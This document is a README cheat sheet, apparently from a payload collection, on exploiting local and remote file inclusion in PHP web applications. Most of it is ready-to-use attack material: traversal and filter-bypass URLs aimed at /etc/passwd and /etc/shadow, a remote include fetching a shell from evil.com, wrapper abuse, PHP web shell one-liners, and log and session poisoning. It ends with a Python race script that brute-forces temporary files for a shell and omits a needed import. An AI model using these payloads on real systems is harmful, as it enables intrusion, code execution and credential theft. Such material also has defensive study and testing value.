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README.md

Local/Remote File Inclusion

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.

Summary

Linux - Interesting files to check out :

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp

Windows - Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)

c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml

The following log files are controllable and can be included with an evil payload to achieve a command execution

/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail

Basic LFI

http://example.com/index.php?page=../../../etc/passwd

Null byte

http://example.com/index.php?page=../../../etc/passwd%00

Double encoding

http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Path truncation

http://example.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=../../../../[…]../../../../../etc/passwd

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd

Basic RFI

http://example.com/index.php?page=http://evil.com/shell.txt

Null byte

http://example.com/index.php?page=http://evil.com/shell.txt%00

Double encoding

http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt

LFI / RFI using wrappers

Wrapper php://filter

The part "php://filter" is case insensitive

http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

can be chained with a compression wrapper for large files.

http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

NOTE: Wrappers can be chained : php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s

Wrapper zip://

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

Wrapper data://

http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Wrapper expect://

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

Wrapper input://

Specify your payload in the POST parameters

http://example.com/index.php?page=php://input
POST DATA: <? system('id'); ?>

Wrapper phar://

Create a phar file with a serialized object in its meta-data.

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();

If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked

class AnyClass {
    function __destruct() {
        echo $this->data;
    }
}
// output: rips
include('phar://test.phar');

NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, file_exists and many more.

LFI to RCE via /proc/*/fd

  1. Upload a lot of shells (for example : 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

LFI to RCE via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

LFI to RCE via upload

If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf

LFI to RCE via upload (race)

Worlds Quitest Let's Play"

  • Upload a file and trigger a self-inclusion.
  • Repeat 1 a shitload of time to:
  • increase our odds of winning the race
  • increase our guessing odds
  • Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
  • Enjoy our shell.
import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')

LFI to RCE via phpinfo()

https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)

LFI to RCE via controlled log file

Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.

http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log

LFI to RCE via PHP sessions

Check if the website use PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Set the cookie to <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use the LFI to include the PHP session file

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

Thanks to